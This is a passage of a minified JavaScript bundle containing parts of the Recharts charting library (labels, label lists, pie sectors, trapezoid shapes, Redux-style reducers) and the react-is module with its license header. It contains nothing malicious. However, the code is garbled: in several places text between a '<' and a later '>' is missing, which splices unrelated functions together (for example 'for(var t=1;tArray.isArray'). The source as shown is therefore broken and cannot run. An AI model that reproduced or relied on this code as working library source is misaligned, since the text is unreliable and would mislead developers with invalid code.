n=="function"?n(r):r},z$=e=>e!=null&&typeof e=="function",S$=(e,t)=>{var n=Gt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},C$=(e,t,n,r,i)=>{var{offset:s,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:p,clockWise:h}=i,x=(u+d)/2,g=S$(f,p),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*s,b=h;break;case"insideEnd":v=p-y*s,b=!h;break;case"end":v=p+y*s,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=dt(l,c,x,v),j=dt(l,c,x,v+(b?1:-1)*359),N="M".concat(w.x,",").concat(w.y,` + A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, + `).concat(j.x,",").concat(j.y),k=Mt(e.id)?Ro("recharts-radial-line-"):e.id;return m.createElement("text",$u({},r,{dominantBaseline:"central",className:Qe("recharts-radial-bar-label",o)}),m.createElement("defs",null,m.createElement("path",{id:k,d:N})),m.createElement("textPath",{xlinkHref:"#".concat(k)},n))},P$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:s,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=dt(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var p=(s+o)/2,{x:h,y:x}=dt(r,i,p,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},zc=e=>e!=null&&"cx"in e&&ge(e.cx),E$={angle:0,offset:5,zIndex:Zt.label,position:"middle",textBreakAll:!1};function _$(e){if(!zc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function s3(e){var t=gn(e,E$),{viewBox:n,parentViewBox:r,position:i,value:s,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=N$(),p=w$(),h=i==="center"?p:f??p,x,g,y;n==null?x=h:zc(n)?x=n:x=e0(n);var v=_$(x);if(!x||Mt(s)&&Mt(o)&&!m.isValidElement(l)&&typeof l!="function")return null;var b=tc(tc({},t),{},{viewBox:x});if(m.isValidElement(l)){var{labelRef:w}=b,j=e2(b,p$);return m.cloneElement(l,j)}if(typeof l=="function"){var{content:N}=b,k=e2(b,h$);if(g=m.createElement(l,k),m.isValidElement(g))return g}else g=k$(t);var z=Ut(t);if(zc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return C$(t,i,g,z,x);y=P$(x,t.offset,t.position)}else{if(!v)return null;var S=m$({viewBox:v,position:i,offset:t.offset,parentViewBox:zc(r)?void 0:r});y=tc(tc({x:S.x,y:S.y,textAnchor:S.horizontalAnchor,verticalAnchor:S.verticalAnchor},S.width!==void 0?{width:S.width}:{}),S.height!==void 0?{height:S.height}:{})}return m.createElement(Mi,{zIndex:t.zIndex},m.createElement(fv,$u({ref:d,className:Qe("recharts-label",c)},z,y,{textAnchor:a$(z.textAnchor)?z.textAnchor:y.textAnchor,breakAll:u}),g))}s3.displayName="Label";var o3={},l3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(l3);var c3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(c3);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=l3,n=c3,r=kd;function i(s){if(r.isArrayLike(s))return t.last(n.toArray(s))}e.last=i})(o3);var A$=o3.last;const O$=Wr(A$);var T$=["valueAccessor"],M$=["dataKey","clockWise","id","textBreakAll","zIndex"];function Bu(){return Bu=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?O$(e.value):e.value,u3=m.createContext(void 0),D$=u3.Provider,d3=m.createContext(void 0),R$=d3.Provider;function $$(){return m.useContext(u3)}function B$(){return m.useContext(d3)}function Sc(e){var{valueAccessor:t=I$}=e,n=n2(e,T$),{dataKey:r,clockWise:i,id:s,textBreakAll:o,zIndex:l}=n,c=n2(n,M$),u=$$(),d=B$(),f=u||d;return!f||!f.length?null:m.createElement(Mi,{zIndex:l??Zt.label},m.createElement(tn,{className:"recharts-label-list"},f.map((p,h)=>{var x,g=Mt(r)?t(p,h):Ve(p.payload,r),y=Mt(s)?{}:{id:"".concat(s,"-").concat(h)};return m.createElement(s3,Bu({key:"label-".concat(h)},Ut(p),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:p.fill,parentViewBox:p.parentViewBox,value:g,textBreakAll:o,viewBox:p.viewBox,index:h,zIndex:0}))})))}Sc.displayName="LabelList";function f3(e){var{label:t}=e;return t?t===!0?m.createElement(Sc,{key:"labelList-implicit"}):m.isValidElement(t)||z$(t)?m.createElement(Sc,{key:"labelList-implicit",content:t}):typeof t=="object"?m.createElement(Sc,Bu({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function Nh(){return Nh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,s=Qe("recharts-dot",i);return ge(t)&&ge(n)&&ge(r)?m.createElement("circle",Nh({},Mr(e),Lx(e),{className:s,cx:t,cy:n,r})):null},p3=e=>e.graphicalItems.polarItems,F$=L([Je,xl],D0),mf=L([p3,it,F$],R0),W$=L([mf],$0),pf=L([W$,tf],B0),U$=L([pf,it,mf],W0);L([pf,it,mf],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var s,o=Ve(r,(s=t.dataKey)!==null&&s!==void 0?s:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var r2=()=>{},V$=L([pf,it,mf,lf,Je],K0),H$=L([it,V0,H0,r2,V$,r2,De,Je],Y0),h3=L([it,De,pf,U$,hl,Je,H$],q0),K$=L([h3,zs,Ti],Z0),Y$=L([it,h3,K$,Je],J0);L([Ti,Y$],Y4);var q$={radiusAxis:{},angleAxis:{}},x3=nn({name:"polarAxis",initialState:q$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:eH,removeRadiusAxis:tH,addAngleAxis:nH,removeAngleAxis:rH}=x3.actions,G$=x3.reducer;function X$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function i2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function a2(e){for(var t=1;tt,mv=L([p3,eB],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),tB=[],pv=(e,t,n)=>(n==null?void 0:n.length)===0?tB:n,v3=L([tf,mv,pv],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(s=>a2(a2({},t.presentationProps),s.props))),i!=null)return i}}),nB=L([v3,mv,pv],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var s,o=Ve(r,t.nameKey,t.name),l;return n!=null&&(s=n[i])!==null&&s!==void 0&&(s=s.props)!==null&&s!==void 0&&s.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Dd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),rB=L([v3,mv,pv,kt],(e,t,n,r)=>{if(!(t==null||e==null))return lF({offset:r,pieSettings:t,displayedData:e,cells:n})}),g3={exports:{}},Re={};/** + * @license React + * react-is.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var hv=Symbol.for("react.transitional.element"),xv=Symbol.for("react.portal"),hf=Symbol.for("react.fragment"),xf=Symbol.for("react.strict_mode"),vf=Symbol.for("react.profiler"),gf=Symbol.for("react.consumer"),yf=Symbol.for("react.context"),bf=Symbol.for("react.forward_ref"),wf=Symbol.for("react.suspense"),jf=Symbol.for("react.suspense_list"),Nf=Symbol.for("react.memo"),kf=Symbol.for("react.lazy"),iB=Symbol.for("react.view_transition"),aB=Symbol.for("react.client.reference");function Ln(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case hv:switch(e=e.type,e){case hf:case vf:case xf:case wf:case jf:case iB:return e;default:switch(e=e&&e.$$typeof,e){case yf:case bf:case kf:case Nf:return e;case gf:return e;default:return t}}case xv:return t}}}Re.ContextConsumer=gf;Re.ContextProvider=yf;Re.Element=hv;Re.ForwardRef=bf;Re.Fragment=hf;Re.Lazy=kf;Re.Memo=Nf;Re.Portal=xv;Re.Profiler=vf;Re.StrictMode=xf;Re.Suspense=wf;Re.SuspenseList=jf;Re.isContextConsumer=function(e){return Ln(e)===gf};Re.isContextProvider=function(e){return Ln(e)===yf};Re.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===hv};Re.isForwardRef=function(e){return Ln(e)===bf};Re.isFragment=function(e){return Ln(e)===hf};Re.isLazy=function(e){return Ln(e)===kf};Re.isMemo=function(e){return Ln(e)===Nf};Re.isPortal=function(e){return Ln(e)===xv};Re.isProfiler=function(e){return Ln(e)===vf};Re.isStrictMode=function(e){return Ln(e)===xf};Re.isSuspense=function(e){return Ln(e)===wf};Re.isSuspenseList=function(e){return Ln(e)===jf};Re.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===hf||e===vf||e===xf||e===wf||e===jf||typeof e=="object"&&e!==null&&(e.$$typeof===kf||e.$$typeof===Nf||e.$$typeof===yf||e.$$typeof===gf||e.$$typeof===bf||e.$$typeof===aB||e.getModuleId!==void 0)};Re.typeOf=Ln;g3.exports=Re;var sB=g3.exports,s2=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",o2=null,Nm=null,y3=e=>{if(e===o2&&Array.isArray(Nm))return Nm;var t=[];return m.Children.forEach(e,n=>{Mt(n)||(sB.isFragment(n)?t=t.concat(y3(n.props.children)):t.push(n))}),Nm=t,o2=e,t};function b3(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>s2(i)):r=[s2(t)],y3(e).forEach(i=>{var s=Do(i,"type.displayName")||Do(i,"type.name");s&&r.indexOf(s)!==-1&&n.push(i)}),n}var w3=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,j3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const s=n[Symbol.toStringTag];return s==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${s}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(j3);var oB=j3.isPlainObject;const lB=Wr(oB);var l2,c2,u2,d2,f2;function m2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function p2(e){for(var t=1;t{var s=n-r,o;return o=tt(l2||(l2=qs(["M ",",",""])),e,t),o+=tt(c2||(c2=qs(["L ",",",""])),e+n,t),o+=tt(u2||(u2=qs(["L ",",",""])),e+n-s/2,t+i),o+=tt(d2||(d2=qs(["L ",",",""])),e+n-s/2-r,t+i),o+=tt(f2||(f2=qs(["L ",","," Z"])),e,t),o},fB={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},mB=e=>{var t=gn(e,fB),{x:n,y:r,upperWidth:i,lowerWidth:s,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,p=m.useRef(null),[h,x]=m.useState(-1),g=m.useRef(i),y=m.useRef(s),v=m.useRef(o),b=m.useRef(n),w=m.useRef(r),j=qd(e,"trapezoid-");if(m.useEffect(()=>{if(p.current&&p.current.getTotalLength)try{var V=p.current.getTotalLength();V&&x(V)}catch{}},[]),n!==+n||r!==+r||i!==+i||s!==+s||o!==+o||i===0&&s===0||o===0)return null;var N=Qe("recharts-trapezoid",l);if(!f)return m.createElement("g",null,m.createElement("path",Fu({},Ut(t),{className:N,d:h2(n,r,i,s,o)})));var k=g.current,z=y.current,S=v.current,A=b.current,_=w.current,O="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),D=Mk(["strokeDasharray"],u,c);return m.createElement(Yd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},V=>{var R=At(k,i,V),M=At(z,s,V),W=At(S,o,V),$=At(A,n,V),U=At(_,r,V);p.current&&(g.current=R,y.current=M,v.current=W,b.current=$,w.current=U);var B=V>0?{transition:D,strokeDasharray:P}:{strokeDasharray:O};return m.createElement("path",Fu({},Ut(t),{className:N,d:h2($,U,R,M,W),ref:p,style:p2(p2({},B),t.style)}))})},pB=["option","shapeType","activeClassName"];function hB(e,t){if(e==null)return{};var n,r,i=xB(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(kz({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},zB=e=>{var t=ot();return(n,r)=>i=>{e==null||e(n,r,i),t(_D())}},SB=(e,t,n)=>{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(AD({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function N3(e){var{tooltipEntrySettings:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(SD(t)):i.current!==t&&n(CD({prev:i.current,next:t})),i.current=t)},[t,n,r]),m.useLayoutEffect(()=>()=>{i.current&&(n(PD(i.current)),i.current=null)},[n]),null}function CB(e){var{legendPayload:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(_k(t)):i.current!==t&&n(Ak({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Ok(i.current)),i.current=null)},[n]),null}function PB(e){var{legendPayload:t}=e,n=ot(),r=je(De),i=m.useRef(null);return m.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(_k(t)):i.current!==t&&n(Ak({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Ok(i.current)),i.current=null)},[n]),null}var km,EB=()=>{var[e]=m.useState(()=>Ro("uid-"));return e},_B=(km=lw.useId)!==null&&km!==void 0?km:EB;function AB(e,t){var n=_B();return t||(e?"".concat(e,"-").concat(n):n)}var OB=m.createContext(void 0),k3=e=>{var{id:t,type:n,children:r}=e,i=AB("recharts-".concat(n),t);return m.createElement(OB.Provider,{value:i},r(i))},TB={cartesianItems:[],polarItems:[]},z3=nn({name:"graphicalItems",initialState:TB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:He()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=qn(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:He()},removeCartesianGraphicalItem:{reducer(e,t){var n=qn(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:He()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:He()},removePolarGraphicalItem:{reducer(e,t){var n=qn(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:He()}}}),{addCartesianGraphicalItem:MB,replaceCartesianGraphicalItem:LB,removeCartesianGraphicalItem:IB,addPolarGraphicalItem:DB,removePolarGraphicalItem:RB}=z3.actions,$B=z3.reducer,BB=e=>{var t=ot(),n=m.useRef(null);return m.useLayoutEffect(()=>{n.current===null?t(MB(e)):n.current!==e&&t(LB({prev:n.current,next:e})),n.current=e},[t,e]),m.useLayoutEffect(()=>()=>{n.current&&(t(IB(n.current)),n.current=null)},[t]),null},FB=m.memo(BB);function WB(e){var t=ot();return m.useLayoutEffect(()=>(t(DB(e)),()=>{t(RB(e))}),[t,e]),null}var UB=["key"],VB=["onMouseEnter","onClick","onMouseLeave"],HB=["id"],KB=["id"];function g2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rt(e){for(var t=1;tb3(e.children,ff),[e.children]),n=je(r=>nB(r,e.id,t));return n==null?null:m.createElement(PB,{legendPayload:n})}var QB=m.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:s,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(p=>p.tooltipPayload),getPosition:p=>{var h;return(h=r[Number(p)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:s,fill:o,dataKey:t,nameKey:n,name:Dd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return m.createElement(N3,{tooltipEntrySettings:f})}),JB=(e,t)=>e>t?"start":efn(typeof t=="function"?t(e):t,n,n*.8),tF=(e,t,n)=>{var{top:r,left:i,width:s,height:o}=t,l=$k(s,o),c=i+fn(e.cx,s,s/2),u=r+fn(e.cy,o,o/2),d=fn(e.innerRadius,l,0),f=eF(n,e.outerRadius,l),p=e.maxRadius||Math.sqrt(s*s+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:p}},nF=(e,t)=>{var n=Gt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},rF=(e,t)=>{if(m.isValidElement(e))return m.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Qe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=zf(t,UB);return m.createElement(Xa,Ci({},i,{type:"linear",className:n}))},iF=(e,t,n)=>{if(m.isValidElement(e))return m.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),m.isValidElement(r)))return r;var i=Qe("recharts-pie-label-text",X$(e));return m.createElement(fv,Ci({},t,{alignmentBaseline:"middle",className:i}),r)};function aF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:s,dataKey:o}=n;if(!r||!i||!t)return null;var l=Mr(n),c=Io(i),u=Io(s),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((p,h)=>{var x=(p.startAngle+p.endAngle)/2,g=dt(p.cx,p.cy,p.outerRadius+d,x),y=rt(rt(rt(rt({},l),p),{},{stroke:"none"},c),{},{index:h,textAnchor:JB(g.x,p.cx)},g),v=rt(rt(rt(rt({},l),p),{},{fill:"none",stroke:p.fill},u),{},{index:h,points:[dt(p.cx,p.cy,p.outerRadius,x),g],key:"line"});return m.createElement(Mi,{zIndex:Zt.label,key:"label-".concat(p.startAngle,"-").concat(p.endAngle,"-").concat(p.midAngle,"-").concat(h)},m.createElement(tn,null,s&&rF(s,v),iF(i,y,Ve(p,o))))});return m.createElement(tn,{className:"recharts-pie-labels"},f)}function sF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?m.createElement(f3,{label:i}):m.createElement(aF,{sectors:t,props:n,showLabels:r})}function oF(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:s,id:o}=e,l=je(fs),c=je($z),u=je(xR),{onMouseEnter:d,onClick:f,onMouseLeave:p}=i,h=zf(i,VB),x=kB(d,i.dataKey,o),g=zB(p),y=SB(f,i.dataKey,o);return t==null||t.length===0?null:m.createElement(m.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,N=l?r:null,k=n&&j?n:N,z=rt(rt({},v),{},{stroke:v.stroke,tabIndex:-1,[pk]:b,[hk]:o});return m.createElement(tn,Ci({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},k6(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),m.createElement(NB,Ci({option:s??k,index:b,shapeType:"sector",isActive:j},z)))}))}function lF(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:s}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,p=Math.abs(n.minAngle),h=nF(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(k=>Ve(k,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*p-v,w=r.reduce((k,z)=>{var S=Ve(z,u,0);return k+(ge(S)?S:0)},0),j;if(w>0){var N;j=r.map((k,z)=>{var S=Ve(k,u,0),A=Ve(k,d,z),_=tF(n,s,k),O=(ge(S)?S:0)/w,P,D=rt(rt({},k),i&&i[z]&&i[z].props);z?P=N.endAngle+Gt(h)*g*(S!==0?1:0):P=l;var V=P+Gt(h)*((S!==0?p:0)+O*b),R=(P+V)/2,M=(_.innerRadius+_.outerRadius)/2,W=[{name:A,value:S,payload:D,dataKey:u,type:f,graphicalItemId:n.id}],$=dt(_.cx,_.cy,M,R);return N=rt(rt(rt(rt({},n.presentationProps),{},{percent:O,cornerRadius:typeof o=="string"?parseFloat(o):o,name:A,tooltipPayload:W,midAngle:R,middleRadius:M,tooltipPosition:$},D),_),{},{value:S,dataKey:u,startAngle:P,endAngle:V,payload:D,paddingAngle:Gt(h)*g}),N})}return j}function cF(e){var{showLabels:t,sectors:n,children:r}=e,i=m.useMemo(()=>!t||!n?[]:n.map(s=>({value:s.value,payload:s.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:s.cx,cy:s.cy,innerRadius:s.innerRadius,outerRadius:s.outerRadius,startAngle:s.startAngle,endAngle:s.endAngle,clockWise:!1},fill:s.fill})),[n,t]);return m.createElement(R$,{value:t?i:void 0},r)}function uF(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:s,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:p}=t,h=qd(t,"recharts-pie-"),x=n.current,[g,y]=m.useState(!1),v=m.useCallback(()=>{typeof p=="function"&&p(),y(!1)},[p]),b=m.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return m.createElement(cF,{showLabels:!g,sectors:i},m.createElement(Yd,{animationId:h,begin:o,duration:l,isActive:s,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,N=[],k=i&&i[0],z=(j=k==null?void 0:k.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((S,A)=>{var _=x&&x[A],O=A>0?Do(S,"paddingAngle",0):0;if(_){var P=At(_.endAngle-_.startAngle,S.endAngle-S.startAngle,w),D=rt(rt({},S),{},{startAngle:z+O,endAngle:z+P+O});N.push(D),z=D.endAngle}else{var{endAngle:V,startAngle:R}=S,M=At(0,V-R,w),W=rt(rt({},S),{},{startAngle:z+O,endAngle:z+M+O});N.push(W),z=W.endAngle}}),n.current=N,m.createElement(tn,null,m.createElement(oF,{sectors:N,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),m.createElement(sF,{showLabels:!g,sectors:i,props:t}),t.children)}var dF={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Zt.area};function fF(e){var{id:t}=e,n=zf(e,HB),{hide:r,className:i,rootTabIndex:s}=e,o=m.useMemo(()=>b3(e.children,ff),[e.children]),l=je(d=>rB(d,t,o)),c=m.useRef(null),u=Qe("recharts-pie",i);return r||l==null?(c.current=null,m.createElement(tn,{tabIndex:s,className:u})):m.createElement(Mi,{zIndex:e.zIndex},m.createElement(QB,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),m.createElement(tn,{tabIndex:s,className:u},m.createElement(uF,{props:rt(rt({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function S3(e){var t=gn(e,dF),{id:n}=t,r=zf(t,KB),i=Mr(r);return m.createElement(k3,{id:n,type:"pie"},s=>m.createElement(m.Fragment,null,m.createElement(WB,{type:"pie",id:s,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),m.createElement(ZB,Ci({},r,{id:s})),m.createElement(fF,Ci({},r,{id:s}))))}S3.displayName="Pie";var mF=["points"];function y2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zm(e){for(var t=1;t{var y,v,b=zm(zm(zm({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:s,value:x.value,payload:x.payload,points:t});return m.createElement(yF,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),m.createElement(Mi,{zIndex:u},m.createElement(tn,Uu({className:r},h),p))}function b2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function w2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),PF=L([CF,Hr,Kr],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),vv=()=>je(PF),EF=()=>je(wR);function j2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sm(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:s,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:s,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=Sm(Sm(Sm({},l),Io(i)),Lx(i)),u;return m.isValidElement(i)?u=m.cloneElement(i,c):typeof i=="function"?u=i(c):u=m.createElement(m3,c),m.createElement(tn,{className:"recharts-active-dot",clipPath:o},u)};function N2(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:s,zIndex:o=Zt.activeDot}=e,l=je(fs),c=EF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return Mt(u)?null:m.createElement(Mi,{zIndex:o},m.createElement(TF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:s}))}var E3=e=>{var{chartData:t}=e,n=ot(),r=Jn();return m.useEffect(()=>r?()=>{}:(n(Ib(t)),()=>{n(Ib(void 0))}),[t,n,r]),null},k2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},_3=nn({name:"brush",initialState:k2,reducers:{setBrushSettings(e,t){return t.payload==null?k2:t.payload}}}),{setBrushSettings:pH}=_3.actions,MF=_3.reducer,LF={dots:[],areas:[],lines:[]},A3=nn({name:"referenceElements",initialState:LF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=qn(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var 